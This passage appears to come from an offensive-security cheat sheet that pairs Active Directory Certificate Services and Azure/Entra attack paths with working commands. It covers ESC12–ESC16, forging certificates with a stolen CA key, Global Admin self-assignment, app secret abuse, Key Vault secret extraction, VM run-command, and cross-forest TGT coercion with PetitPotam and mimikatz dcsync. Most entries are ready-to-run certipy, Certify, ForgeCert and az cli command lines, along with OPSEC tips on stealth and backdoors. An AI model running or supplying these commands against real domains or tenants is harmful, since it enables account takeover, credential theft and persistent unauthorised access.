Cause: Template requires attestation or proof of possession
Fix: Use -web or -machine flags with certipy-ad. Verify template enrollment rights.
KDC_ERR_CLIENT_NOT_TRUSTED / KDC_ERR_PADATA_TYPE_NOSUPP
Cause: Certificate authentication failed or PKINIT not supported
Fix: Verify CA trust chain. Check if NTLM fallback works: certipy-ad auth -pfx cert.pfx -dc-ip {DC_IP}
ERROR_DS_NO_SUCH_OBJECT
Cause: CA not found or wrong CA name format
Fix: List CAs: certipy-ad find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -dc-ip {DC_IP}. Use exact CA name.
CHAIN THIS ATTACK

ESC12 → extract CA key → GoldenCert → indefinite domain access

Common chains:

  • CA key → ForgeCert → certificate for any user → persistent access
🔧 Any Object ADCS CRITICAL ⏱️ 2 min 🔊 High

ADCSESC13 - OID Group Link

msDS-OIDToGroupLink links issuance policy OID to privileged universal group. Enroll with policy → group membership.

🥇certipy find (shows OIDGroupLink)v4.8+
certipy find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP}
🥈certipy req -policyv4.8+
certipy req -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {CA_NAME} -template {CERT_TEMPLATE} -ca '{CA_NAME}' -policy {POLICY_OID}
🥉ldapsearch for msDS-OIDToGroupLinkldap-utils
ldapsearch -x -H ldap://{DC_IP} -D '{USERNAME}@{DOMAIN}' -w '{PASSWORD}' -b 'CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,{DOMAIN_DN}' '(msDS-OIDToGroupLink=*)' msDS-OIDToGroupLink
🥇Certify.exe find /vulnerablelatest
Certify.exe find /vulnerable
🥈ADSI EditBuilt-in
# Open ADSI Edit, navigate to CN=OID, check msDS-OIDToGroupLink.
TIPS & OPSEC
  • Step-by-step: 1) Find template linked to OID that maps to privileged group. 2) Enroll with that policy. 3) Authenticate → group membership via certificate.
  • Group scope: Linked group must be universal for cross-domain scenarios.
COMMON ERRORS & FIXES
CERTSRV_E_INVALID_ATTESTATION / 0x80094010
Cause: Template requires attestation or proof of possession
Fix: Use -web or -machine flags with certipy-ad. Verify template enrollment rights.
KDC_ERR_CLIENT_NOT_TRUSTED / KDC_ERR_PADATA_TYPE_NOSUPP
Cause: Certificate authentication failed or PKINIT not supported
Fix: Verify CA trust chain. Check if NTLM fallback works: certipy-ad auth -pfx cert.pfx -dc-ip {DC_IP}
ERROR_DS_NO_SUCH_OBJECT
Cause: CA not found or wrong CA name format
Fix: List CAs: certipy-ad find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -dc-ip {DC_IP}. Use exact CA name.
CHAIN THIS ATTACK

ESC13 → enroll with policy OID → authenticate → privileged group membership

Common chains:

  • Policy OID → Domain Admins group → domain compromise
🔧 Any Object ADCS CRITICAL ⏱️ 2 min 🔊 High

ADCSESC14 - Weak Certificate Mappings

Weak mappings in altSecurityIdentities: X509RFC822, X509IssuerSubject, X509SubjectOnly. Exploitable after KB5014754 if strong mapping fallback.

🥇bloodyAD set object altSecurityIdentitiesv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set object {TARGET} altSecurityIdentities 'X509:{ISSUER}{SERIAL}'
🥈certipy req matching templatev4.8+
certipy req -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {CA_NAME} -template {CERT_TEMPLATE} -ca '{CA_NAME}'
🥇PowerView Set-DomainObjectPowerSploit
Set-DomainObject -Identity {TARGET} -Set @{altSecurityIdentities='X509:{ISSUER}{SERIAL}'} -Credential $cred
🥈Certify.exe request with matching attributeslatest
Certify.exe request /ca:{CA_NAME} /template:{CERT_TEMPLATE} /subject:'CN={TARGET}'
TIPS & OPSEC
  • Scenario A: Attacker can write altSecurityIdentities on target.
  • Scenario B: X509RFC822 mapping → set victim mail to match certificate.
  • Scenario C: X509IssuerSubject → set victim cn/dNSHostName to match subject.
  • Strong mappings survive: X509IssuerSerialNumber, X509SKI, X509SHA1PublicKey survive post-KB5014754.
COMMON ERRORS & FIXES
CERTSRV_E_INVALID_ATTESTATION / 0x80094010
Cause: Template requires attestation or proof of possession
Fix: Use -web or -machine flags with certipy-ad. Verify template enrollment rights.
KDC_ERR_CLIENT_NOT_TRUSTED / KDC_ERR_PADATA_TYPE_NOSUPP
Cause: Certificate authentication failed or PKINIT not supported
Fix: Verify CA trust chain. Check if NTLM fallback works: certipy-ad auth -pfx cert.pfx -dc-ip {DC_IP}
ERROR_DS_NO_SUCH_OBJECT
Cause: CA not found or wrong CA name format
Fix: List CAs: certipy-ad find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -dc-ip {DC_IP}. Use exact CA name.
CHAIN THIS ATTACK

ESC14 → set weak mapping → request matching cert → authenticate → target compromise

Common chains:

  • Write altSecurityIdentities → matching cert → authentication as target
🔧 Any Object ADCS CRITICAL ⏱️ 2 min 🔊 High

ADCSESC15 - Schema V1 Application Policies Abuse

Schema V1 templates allow Application Policies in offline request to override EKU. Create CSR with any Application Policies OID.

🥇Certify.exe 2.0 find /vulnerablelatest
Certify.exe find /vulnerable
🥈certipy find (shows schemaversion)v4.8+
certipy find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP}
🥉Manual openssl CSRopenssl
openssl req -new -key priv.key -out csr.req -config <(cat app_policies.conf)
4️⃣certreq.exe -submitBuilt-in
certreq.exe -submit -attrib "CertificateTemplate:{CERT_TEMPLATE}" csr.req
🥇Certify.exe 2.0 request /templatelatest
Certify.exe request /template:{CERT_TEMPLATE} /applicationpolicy:1.3.6.1.5.5.7.3.2
🥈certreq -submitBuilt-in
certreq -submit -attrib "CertificateTemplate:{CERT_TEMPLATE}" csr.req
TIPS & OPSEC
  • Step-by-step: 1) Identify Schema V1 template (schemaversion = 1). 2) Create offline CSR with any Application Policies OID. 3) Submit request. 4) Issued certificate contains attacker-specified EKUs.
  • Fix: Migrate all V1 templates to V2+ via duplication in certtmpl.msc.
COMMON ERRORS & FIXES
CERTSRV_E_INVALID_ATTESTATION / 0x80094010
Cause: Template requires attestation or proof of possession
Fix: Use -web or -machine flags with certipy-ad. Verify template enrollment rights.
KDC_ERR_CLIENT_NOT_TRUSTED / KDC_ERR_PADATA_TYPE_NOSUPP
Cause: Certificate authentication failed or PKINIT not supported
Fix: Verify CA trust chain. Check if NTLM fallback works: certipy-ad auth -pfx cert.pfx -dc-ip {DC_IP}
ERROR_DS_NO_SUCH_OBJECT
Cause: CA not found or wrong CA name format
Fix: List CAs: certipy-ad find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -dc-ip {DC_IP}. Use exact CA name.
CHAIN THIS ATTACK

ESC15 → V1 template + custom Application Policies → arbitrary EKUs → authentication

Common chains:

  • V1 template → custom CSR → cert with Any Purpose EKU → admin access
🔧 Any Object ADCS CRITICAL ⏱️ 2 min 🔊 High

ADCSESC16 - SID Extension Disabled

CA has DisableExtensionList containing SID extension OID. Without SID extension, strong certificate mapping fails → weak mapping fallback.

🥇certipy find (shows DisableExtensionList)v4.8+
certipy find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP}
🥈certutil -getregBuilt-in
certutil -getreg Policy\DisableExtensionList
🥇certutil -getregBuilt-in
certutil -getreg Policy\DisableExtensionList
🥈reg queryBuilt-in
reg query \\{CA_SERVER}\HKLM\SOFTWARE\Policies\Microsoft\Windows\CertificateServices\Policy\DisableExtensionList
TIPS & OPSEC
  • Abuse: Combine with ESC9/ESC10 (weak mapping already documented).
  • Fix: Remove SID extension OID from DisableExtensionList.
COMMON ERRORS & FIXES
CERTSRV_E_INVALID_ATTESTATION / 0x80094010
Cause: Template requires attestation or proof of possession
Fix: Use -web or -machine flags with certipy-ad. Verify template enrollment rights.
KDC_ERR_CLIENT_NOT_TRUSTED / KDC_ERR_PADATA_TYPE_NOSUPP
Cause: Certificate authentication failed or PKINIT not supported
Fix: Verify CA trust chain. Check if NTLM fallback works: certipy-ad auth -pfx cert.pfx -dc-ip {DC_IP}
ERROR_DS_NO_SUCH_OBJECT
Cause: CA not found or wrong CA name format
Fix: List CAs: certipy-ad find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -dc-ip {DC_IP}. Use exact CA name.
CHAIN THIS ATTACK

ESC16 → no SID extension → weak mapping fallback → ESC9/10 → admin

Common chains:

  • DisableExtensionList blocks SID → weak mapping → certificate auth as arbitrary user
🔧 Any Object ADCS CRITICAL ⏱️ 2 min 🔊 High

GoldenCert - Forge Certificates with CA Key

Compromise CA private key → forge certificates for any user indefinitely.

🥇certipy forgev4.8+
certipy forge -ca-pfx CA.pfx -upn Administrator@{DOMAIN}
🥈ForgeCertlatest
ForgeCert.exe --CaCertPath CA.pfx --Subject CN=Administrator --Upn Administrator@{DOMAIN}
🥇ForgeCert.exelatest
ForgeCert.exe --CaCertPath CA.pfx --Subject CN=Administrator --Upn Administrator@{DOMAIN}
🥈SharpDPAPI extract CA keylatest
SharpDPAPI.exe certificates /unprotect
ForgeCert.exe --CaCertPath extracted.pfx ...
TIPS & OPSEC
  • Impact: Indefinite authentication as any user. Even password changes don't invalidate forged certs.
  • Detection: Monitor for unusual certificate issuance patterns and CA audit logs.
  • Cleanup: Revoke CA certificate, publish new CRL, reissue all legitimate certificates.
COMMON ERRORS & FIXES
CERTSRV_E_INVALID_ATTESTATION / 0x80094010
Cause: Template requires attestation or proof of possession
Fix: Use -web or -machine flags with certipy-ad. Verify template enrollment rights.
KDC_ERR_CLIENT_NOT_TRUSTED / KDC_ERR_PADATA_TYPE_NOSUPP
Cause: Certificate authentication failed or PKINIT not supported
Fix: Verify CA trust chain. Check if NTLM fallback works: certipy-ad auth -pfx cert.pfx -dc-ip {DC_IP}
ERROR_DS_NO_SUCH_OBJECT
Cause: CA not found or wrong CA name format
Fix: List CAs: certipy-ad find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -dc-ip {DC_IP}. Use exact CA name.
CHAIN THIS ATTACK

GoldenCert → forge cert for Administrator → authenticate → permanent domain access

Common chains:

  • Forge cert → certipy auth / Rubeus ptt → DA shell → persistent access
🔧 Any Object ADCS CRITICAL ⏱️ 2 min 🔊 High

ManageCA - CA Management

Manage CA configuration, backup, and template publishing.

🥇certipy ca -backupv4.8+
certipy ca -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP} -ca '{CA_NAME}' -backup
🥈certipy ca -enable-templatev4.8+
certipy ca -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP} -ca '{CA_NAME}' -enable-template {CERT_TEMPLATE}
🥇Certify.exe ca /backuplatest
Certify.exe ca /backup /ca:{CA_NAME}
🥈certsrv.mscBuilt-in
# Open certsrv.msc, manage CA settings.
TIPS & OPSEC
  • Backup: CA backup includes private key. Immediate GoldenCert possibility.
  • Template publishing: Can publish dangerous templates for ESC1 exploitation.
COMMON ERRORS & FIXES
CERTSRV_E_INVALID_ATTESTATION / 0x80094010
Cause: Template requires attestation or proof of possession
Fix: Use -web or -machine flags with certipy-ad. Verify template enrollment rights.
KDC_ERR_CLIENT_NOT_TRUSTED / KDC_ERR_PADATA_TYPE_NOSUPP
Cause: Certificate authentication failed or PKINIT not supported
Fix: Verify CA trust chain. Check if NTLM fallback works: certipy-ad auth -pfx cert.pfx -dc-ip {DC_IP}
ERROR_DS_NO_SUCH_OBJECT
Cause: CA not found or wrong CA name format
Fix: List CAs: certipy-ad find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -dc-ip {DC_IP}. Use exact CA name.
CHAIN THIS ATTACK

ManageCA → backup CA → extract private key → GoldenCert

Common chains:

  • Backup CA → ForgeCert → indefinite domain access
🔧 Any Object ADCS CRITICAL ⏱️ 2 min 🔊 High

ManageCertificates - Approve/Retrieve Certificates

Issue and retrieve pending certificate requests. Same as ESC7 in practice.

🥇certipy ca -issue-requestv4.8+
certipy ca -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP} -ca '{CA_NAME}' -issue-request 1
🥈certipy ca -retrieve-requestv4.8+
certipy ca -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP} -ca '{CA_NAME}' -retrieve-request 1
🥇certsrv.msc pending requestsBuilt-in
# Open certsrv.msc, manage pending requests.
TIPS & OPSEC
  • Pending requests: Can approve malicious requests submitted by others.
  • Retrieval: Can retrieve any certificate from CA database.
COMMON ERRORS & FIXES
CERTSRV_E_INVALID_ATTESTATION / 0x80094010
Cause: Template requires attestation or proof of possession
Fix: Use -web or -machine flags with certipy-ad. Verify template enrollment rights.
KDC_ERR_CLIENT_NOT_TRUSTED / KDC_ERR_PADATA_TYPE_NOSUPP
Cause: Certificate authentication failed or PKINIT not supported
Fix: Verify CA trust chain. Check if NTLM fallback works: certipy-ad auth -pfx cert.pfx -dc-ip {DC_IP}
ERROR_DS_NO_SUCH_OBJECT
Cause: CA not found or wrong CA name format
Fix: List CAs: certipy-ad find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -dc-ip {DC_IP}. Use exact CA name.
CHAIN THIS ATTACK

ManageCertificates → approve malicious request → obtain cert → admin

Common chains:

  • Approve ESC1 pending request → certipy auth → DA access

Azure / Entra

Azure / Entra attack paths and exploitation techniques.

🔧 Any Object Azure CRITICAL ⏱️ 2 min 🔊 High

AZGlobalAdmin - Full Tenant Admin

Full control over Entra ID tenant. Can modify any user, app, or resource.

🥇ROADtoolslatest
roadrecon auth -u {USERNAME}@{DOMAIN} -p '{PASSWORD}'
roadrecon gather
roadrecon plugin policies
🥈AzureHoundlatest
azurehound -u '{USERNAME}@{DOMAIN}' -p '{PASSWORD}' -t {TENANT_ID} list
🥉az clilatest
az login -u {USERNAME}@{DOMAIN} -p '{PASSWORD}'
az ad user list
az role assignment list --all
4️⃣Graph API curlcurl
curl -H "Authorization: Bearer TOKEN" https://graph.microsoft.com/v1.0/users
🥇AzureAD PowerShelllatest
Connect-AzureAD -Credential $cred
Get-AzureADUser -All $true
🥈MSOnlinelatest
Connect-MsolService -Credential $cred
Get-MsolUser -All
🥉Microsoft Graph SDKlatest
Connect-MgGraph -Scopes 'User.Read.All'
Get-MgUser -All
TIPS & OPSEC
  • Scope: Global Admin = full tenant control. No restrictions.
  • Cloud-only: Does not automatically grant on-prem admin unless hybrid.
  • OPSEC: Azure logs all admin actions. Use service principals for stealth.
COMMON ERRORS & FIXES
AuthorizationFailed / 403
Cause: RBAC permissions insufficient for the operation
Fix: Verify role assignments: az role assignment list --assignee {USERNAME}. Ensure token is fresh.
InvalidAuthenticationToken / expired
Cause: Azure CLI token expired or MFA required
Fix: Re-authenticate: az login --allow-no-subscriptions. Check conditional access policies.
ResourceNotFound / 404
Cause: Resource group, VM, or vault name incorrect
Fix: List resources: az resource list --output table. Verify exact resource names.
CHAIN THIS ATTACK

AZGlobalAdmin → modify any tenant resource → full cloud compromise

Common chains:

  • Add secret to application → client credentials flow → API access
  • Reset any user password → account takeover
  • Assign roles → persistent backdoor access
🔧 Any Object Azure CRITICAL ⏱️ 2 min 🔊 High

AZPrivilegedRoleAdmin - Role Assignment

Can assign any privileged role including Global Admin. Same tools as Global Admin.

🥇az clilatest
az role assignment create --assignee {USERNAME} --role 'Global Administrator' --scope /
🥈ROADtoolslatest
roadrecon plugin policies
🥇AzureAD PowerShelllatest
Add-AzureADDirectoryRoleMember -ObjectId (Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'").ObjectId -RefObjectId (Get-AzureADUser -ObjectId {USERNAME}@{DOMAIN}).ObjectId
🥈Microsoft Graph SDKlatest
New-MgDirectoryRoleMemberByRef -DirectoryRoleId (Get-MgDirectoryRole -Filter "DisplayName eq 'Global Administrator'").Id -BodyParameter @{'@odata.id'='https://graph.microsoft.com/v1.0/directoryObjects/{SP_OBJECT_ID}'}
TIPS & OPSEC
  • PIM: If Privileged Identity Management is enabled, may need to activate role first.
  • Self-elevation: Assign yourself Global Admin for full tenant control.
COMMON ERRORS & FIXES
AuthorizationFailed / 403
Cause: RBAC permissions insufficient for the operation
Fix: Verify role assignments: az role assignment list --assignee {USERNAME}. Ensure token is fresh.
InvalidAuthenticationToken / expired
Cause: Azure CLI token expired or MFA required
Fix: Re-authenticate: az login --allow-no-subscriptions. Check conditional access policies.
ResourceNotFound / 404
Cause: Resource group, VM, or vault name incorrect
Fix: List resources: az resource list --output table. Verify exact resource names.
CHAIN THIS ATTACK

AZPrivilegedRoleAdmin → assign Global Admin → full tenant control

Common chains:

  • Assign self Global Admin → tenant compromise
🔧 Any Object Azure CRITICAL ⏱️ 2 min 🔊 High

AZAppAdmin / AZCloudAppAdmin - App Secret Abuse

Admin on enterprise apps → add secret/certificate → client credentials flow → API access.

🥇az ad sp credential resetlatest
az ad sp credential reset --id {APP_ID} --append
az account get-access-token --resource https://graph.microsoft.com
🥈ROADtools spraylatest
roadrecon auth -u {USERNAME}@{DOMAIN} -p '{PASSWORD}'
🥇New-MgApplicationPasswordlatest
New-MgApplicationPassword -ApplicationId {APP_ID}
🥈AzureADlatest
New-AzureADApplicationPasswordCredential -ObjectId {APP_ID}
TIPS & OPSEC
  • Client credentials: App secret allows unattended API access as the application.
  • Graph API: If app has Directory.Read.All or higher, full tenant enumeration possible.
  • OPSEC: App secret creation is logged. Use existing secrets when possible.
COMMON ERRORS & FIXES
AuthorizationFailed / 403
Cause: RBAC permissions insufficient for the operation
Fix: Verify role assignments: az role assignment list --assignee {USERNAME}. Ensure token is fresh.
InvalidAuthenticationToken / expired
Cause: Azure CLI token expired or MFA required
Fix: Re-authenticate: az login --allow-no-subscriptions. Check conditional access policies.
ResourceNotFound / 404
Cause: Resource group, VM, or vault name incorrect
Fix: List resources: az resource list --output table. Verify exact resource names.
CHAIN THIS ATTACK

AZAppAdmin → add secret → client credentials → Graph API → tenant data

Common chains:

  • Add secret to app with Directory.Read.All → enumerate all users → find targets
🔧 Any Object Azure CRITICAL ⏱️ 2 min 🔊 High

AZAddOwner / AZAddMembers / AZAddSecret - App/Group Manipulation

Add self to app/group, add secret to app, or add owner to resources.

🥇az cli / Graph APIlatest
az ad group member add --group {TARGET_GROUP} --member-id {USERNAME}
az ad app owner add --id {APP_ID} --owner-object-id {USERNAME}
🥈curl Graph APIcurl
curl -X POST -H "Authorization: Bearer TOKEN" https://graph.microsoft.com/v1.0/groups/{TARGET_GROUP}/members/\$ref -d '{"@odata.id":"https://graph.microsoft.com/v1.0/directoryObjects/{USERNAME}"}'
🥇Microsoft Graph SDKlatest
New-MgGroupMember -GroupId {TARGET_GROUP} -DirectoryObjectId {USERNAME}
TIPS & OPSEC
  • AddOwner: Owner of app can add credentials, modify permissions, or delete app.
  • AddMembers: Group membership may grant inherited RBAC roles or app access.
  • AddSecret: Direct path to client credentials flow and API access.
COMMON ERRORS & FIXES
AuthorizationFailed / 403
Cause: RBAC permissions insufficient for the operation
Fix: Verify role assignments: az role assignment list --assignee {USERNAME}. Ensure token is fresh.
InvalidAuthenticationToken / expired
Cause: Azure CLI token expired or MFA required
Fix: Re-authenticate: az login --allow-no-subscriptions. Check conditional access policies.
ResourceNotFound / 404
Cause: Resource group, VM, or vault name incorrect
Fix: List resources: az resource list --output table. Verify exact resource names.
CHAIN THIS ATTACK

Add self to group/app → inherit privileges → escalate

Common chains:

  • Add self to privileged group → inherit role → tenant admin
🔧 Any Object Azure CRITICAL ⏱️ 2 min 🔊 High

AZVMAdminLogin / AZVMContributor / AZContributor - VM Compromise

VM admin/Contributor → run commands, reset password, or extract managed identity tokens.

🥇az vm run-command invokelatest
az vm run-command invoke -g {RESOURCE_GROUP} -n {VM_NAME} --command-id RunShellScript --scripts 'whoami'
🥈AzureHoundlatest
azurehound -u '{USERNAME}@{DOMAIN}' -p '{PASSWORD}' -t {TENANT_ID} list
🥇Invoke-AzVMRunCommandlatest
Invoke-AzVMRunCommand -ResourceGroupName {RESOURCE_GROUP} -Name {VM_NAME} -CommandId 'RunPowerShellScript' -ScriptString 'whoami'
🥈Set-AzVMAccessExtensionlatest
Set-AzVMAccessExtension -ResourceGroupName {RESOURCE_GROUP} -VMName {VM_NAME} -Name 'reset' -UserName {USERNAME} -Password '{NEW_PASSWORD}'
TIPS & OPSEC
  • Run Command: Executes commands as SYSTEM on Windows or root on Linux VMs.
  • Managed Identity: Extract MSI token from VM metadata endpoint for cloud privilege escalation.
  • OPSEC: Run Command activity is logged in Azure Activity Log.
COMMON ERRORS & FIXES
AuthorizationFailed / 403
Cause: RBAC permissions insufficient for the operation
Fix: Verify role assignments: az role assignment list --assignee {USERNAME}. Ensure token is fresh.
InvalidAuthenticationToken / expired
Cause: Azure CLI token expired or MFA required
Fix: Re-authenticate: az login --allow-no-subscriptions. Check conditional access policies.
ResourceNotFound / 404
Cause: Resource group, VM, or vault name incorrect
Fix: List resources: az resource list --output table. Verify exact resource names.
CHAIN THIS ATTACK

AZVMContributor → run command → SYSTEM shell → cloud credential dump

Common chains:

  • Run Command → mimikatz → domain creds → on-prem escalation
  • Extract MSI token → access Key Vault → secrets dump
🔧 Any Object Azure CRITICAL ⏱️ 2 min 🔊 High

AZAKS / WebApp / LogicApp / Automation Contributor

Contributor on cloud resources → code execution via resource-specific mechanisms.

🥇kubectl exec (AKS)kubectl
az aks get-credentials -g {RESOURCE_GROUP} -n {VM_NAME}
kubectl exec -it pod-name -- /bin/sh
🥈Kudu console (WebApp)browser
# Access Kudu console via https://{VM_NAME}.scm.azurewebsites.net
🥉Logic App triggeraz cli
az logicapp run -g {RESOURCE_GROUP} -n {VM_NAME}
4️⃣Automation Runbookaz cli
az automation runbook start -g {RESOURCE_GROUP} -a {VM_NAME} -n runbook-name
🥇kubectl execkubectl
kubectl exec -it pod-name -- /bin/sh
🥈Azure Functions / WebJobsBuilt-in
# Deploy malicious WebJob or Function for code execution.
TIPS & OPSEC
  • AKS: Contributor = cluster admin equivalent. Full container orchestration control.
  • WebApp: Kudu console provides shell access. Deployment credentials may also work.
  • Automation: RunAs account = service principal with credentials. High value target.
  • Logic App: Managed connectors may have stored credentials or API keys.
COMMON ERRORS & FIXES
AuthorizationFailed / 403
Cause: RBAC permissions insufficient for the operation
Fix: Verify role assignments: az role assignment list --assignee {USERNAME}. Ensure token is fresh.
InvalidAuthenticationToken / expired
Cause: Azure CLI token expired or MFA required
Fix: Re-authenticate: az login --allow-no-subscriptions. Check conditional access policies.
ResourceNotFound / 404
Cause: Resource group, VM, or vault name incorrect
Fix: List resources: az resource list --output table. Verify exact resource names.
CHAIN THIS ATTACK

Cloud resource contributor → code execution → credential extraction → escalate

Common chains:

  • AKS → kubectl exec → service account token → cluster admin
  • Automation RunAs → steal certificate → service principal compromise
🔧 Any Object Azure CRITICAL ⏱️ 2 min 🔊 High

AZKeyVault - Secrets Extraction

Access Azure Key Vault secrets, keys, and certificates.

🥇az keyvault secret showlatest
az keyvault secret show --name admin-password --vault-name {KEY_VAULT_NAME}
🥈ROADtoolslatest
roadrecon plugin keyvault
🥇Get-AzKeyVaultSecretlatest
Get-AzKeyVaultSecret -VaultName {KEY_VAULT_NAME} -Name admin-password -AsPlainText
🥈Microsoft Graph SDKlatest
Get-MgDirectoryRole -Filter "DisplayName eq 'Key Vault Administrator'"
TIPS & OPSEC
  • Secrets: May contain passwords, connection strings, API keys.
  • Keys: Cryptographic keys for encryption/decryption.
  • Certificates: Can be used for authentication or TLS interception.
COMMON ERRORS & FIXES
AuthorizationFailed / 403
Cause: RBAC permissions insufficient for the operation
Fix: Verify role assignments: az role assignment list --assignee {USERNAME}. Ensure token is fresh.
InvalidAuthenticationToken / expired
Cause: Azure CLI token expired or MFA required
Fix: Re-authenticate: az login --allow-no-subscriptions. Check conditional access policies.
ResourceNotFound / 404
Cause: Resource group, VM, or vault name incorrect
Fix: List resources: az resource list --output table. Verify exact resource names.
CHAIN THIS ATTACK

AZKeyVault → extract secrets → credential compromise → cloud/on-prem escalation

Common chains:

  • Key Vault secret → domain admin password → on-prem compromise
🔧 Any Object Azure CRITICAL ⏱️ 2 min 🔊 High

AZUserAccessAdministrator - RBAC Escalation

Can assign any RBAC role including Owner. Self-elevation path to full subscription control.

🥇az role assignment createlatest
az role assignment create --assignee {USERNAME} --role Owner --scope /subscriptions/{SUBSCRIPTION_ID}
🥇New-AzRoleAssignmentlatest
New-AzRoleAssignment -SignInName {USERNAME}@{DOMAIN} -RoleDefinitionName Owner -Scope /subscriptions/{SUBSCRIPTION_ID}
TIPS & OPSEC
  • Owner: Full control over subscription. Can manage all resources and access.
  • Scope: Can assign at subscription, resource group, or resource level.
COMMON ERRORS & FIXES
AuthorizationFailed / 403
Cause: RBAC permissions insufficient for the operation
Fix: Verify role assignments: az role assignment list --assignee {USERNAME}. Ensure token is fresh.
InvalidAuthenticationToken / expired
Cause: Azure CLI token expired or MFA required
Fix: Re-authenticate: az login --allow-no-subscriptions. Check conditional access policies.
ResourceNotFound / 404
Cause: Resource group, VM, or vault name incorrect
Fix: List resources: az resource list --output table. Verify exact resource names.
CHAIN THIS ATTACK

AZUserAccessAdministrator → assign Owner → full subscription control

Common chains:

  • Assign self Owner → manage all resources → extract credentials from all VMs
🔧 Any Object Azure CRITICAL ⏱️ 2 min 🔊 High

AZRunsAs - Automation Account RunAs

Automation Account RunAs = service principal with certificate. Steal for persistent cloud access.

🥇az automation account listlatest
az automation account list
az automation account show -g {RESOURCE_GROUP} -n {VM_NAME}
🥈az automation runbook startlatest
az automation runbook start -g {RESOURCE_GROUP} -a {VM_NAME} -n runbook-name
🥇Get-AzAutomationAccountlatest
Get-AzAutomationAccount -ResourceGroupName {RESOURCE_GROUP}
🥈Get-AzAutomationRunbooklatest
Get-AzAutomationRunbook -ResourceGroupName {RESOURCE_GROUP} -AutomationAccountName {VM_NAME}
TIPS & OPSEC
  • RunAs certificate: Stored in Automation account assets. Download and authenticate as SP.
  • Persistent: RunAs account is often overlooked by defenders. Excellent backdoor.
COMMON ERRORS & FIXES
AuthorizationFailed / 403
Cause: RBAC permissions insufficient for the operation
Fix: Verify role assignments: az role assignment list --assignee {USERNAME}. Ensure token is fresh.
InvalidAuthenticationToken / expired
Cause: Azure CLI token expired or MFA required
Fix: Re-authenticate: az login --allow-no-subscriptions. Check conditional access policies.
ResourceNotFound / 404
Cause: Resource group, VM, or vault name incorrect
Fix: List resources: az resource list --output table. Verify exact resource names.
CHAIN THIS ATTACK

AZRunsAs → steal certificate → authenticate as SP → cloud persistence

Common chains:

  • Steal RunAs cert → az login --service-principal → persistent access
🔧 Any Object Azure CRITICAL ⏱️ 2 min 🔊 High

AZMG - Microsoft Graph App Permissions

Microsoft Graph app permissions for directory-wide modifications. Compromise app = tenant admin.

🥇az cli / Graph APIlatest
az ad app permission add --id {APP_ID} --api 00000003-0000-0000-c000-000000000000 --api-permissions 1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9=Role
az ad app permission grant --id {APP_ID} --api 00000003-0000-0000-c000-000000000000
🥇Microsoft Graph SDKlatest
Update-MgApplication -ApplicationId {APP_ID} -RequiredResourceAccess @(...)
TIPS & OPSEC
  • App-only permissions: Directory.ReadWrite.All, AppRoleAssignment.ReadWrite.All = full tenant control.
  • Compromise: If app has these permissions, steal certificate/secret = instant tenant admin.
COMMON ERRORS & FIXES
AuthorizationFailed / 403
Cause: RBAC permissions insufficient for the operation
Fix: Verify role assignments: az role assignment list --assignee {USERNAME}. Ensure token is fresh.
InvalidAuthenticationToken / expired
Cause: Azure CLI token expired or MFA required
Fix: Re-authenticate: az login --allow-no-subscriptions. Check conditional access policies.
ResourceNotFound / 404
Cause: Resource group, VM, or vault name incorrect
Fix: List resources: az resource list --output table. Verify exact resource names.
CHAIN THIS ATTACK

AZMG app compromise → tenant-wide modifications → full cloud control

Common chains:

  • Steal app secret with Directory.ReadWrite.All → modify any user → domain admin
🔧 Any Object Azure LOW ⏱️ N/A 🔊 Low

Azure Structural Edges

Structural edges for Azure path traversal. Documented for completeness in path analysis.

No Linux-specific commands for this edge.

No Windows-specific commands for this edge.

TIPS & OPSEC
  • AZContains: Resource contains another resource.
  • AZMemberOf: User/group membership in Azure.
  • AZHasRole: RBAC role assignment.
  • AZOwns: Owner of resource.
  • AZAuthenticatesTo: Authentication relationship between resources.
COMMON ERRORS & FIXES
AuthorizationFailed / 403
Cause: RBAC permissions insufficient for the operation
Fix: Verify role assignments: az role assignment list --assignee {USERNAME}. Ensure token is fresh.
InvalidAuthenticationToken / expired
Cause: Azure CLI token expired or MFA required
Fix: Re-authenticate: az login --allow-no-subscriptions. Check conditional access policies.
ResourceNotFound / 404
Cause: Resource group, VM, or vault name incorrect
Fix: List resources: az resource list --output table. Verify exact resource names.
CHAIN THIS ATTACK

Structural edges → path traversal → find escalation route

Common chains:

  • Use AzureHound to map complete attack path in cloud

Special / Advanced

Special / Advanced attack paths and exploitation techniques.

🔧 Any Object AbuseTGTDelegation CRITICAL ⏱️ 2 min 🔊 High

AbuseTGTDelegation - Cross-Forest TGT Delegation

Cross-forest with TGT delegation enabled. Coerce TGT delegation for inter-realm access.

🥇Rubeus + PetitPotam cross-forestv2.0+
Rubeus.exe tgtdeleg /target:TRUST_TARGET
PetitPotam.py -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} {ATTACKER_IP} {TARGET_DC_IP}
🥈Kekeo tgt::paclatest
kekeo.exe "tgt::pac /user:{USERNAME} /domain:{DOMAIN} /targetdomain:{PARENT_DOMAIN}"
🥇mimikatz kerberos::ptt + lsadump::dcsyncv2.2+
kerberos::ptt cross_realm.kirbi
lsadump::dcsync /domain:{PARENT_DOMAIN} /dc:{DC_IP}
TIPS & OPSEC
  • TGT delegation: Allows forwarding TGT across forest trust boundary.
  • Combine with: CoerceToTGT on unconstrained delegation host in trusted forest.
COMMON ERRORS & FIXES
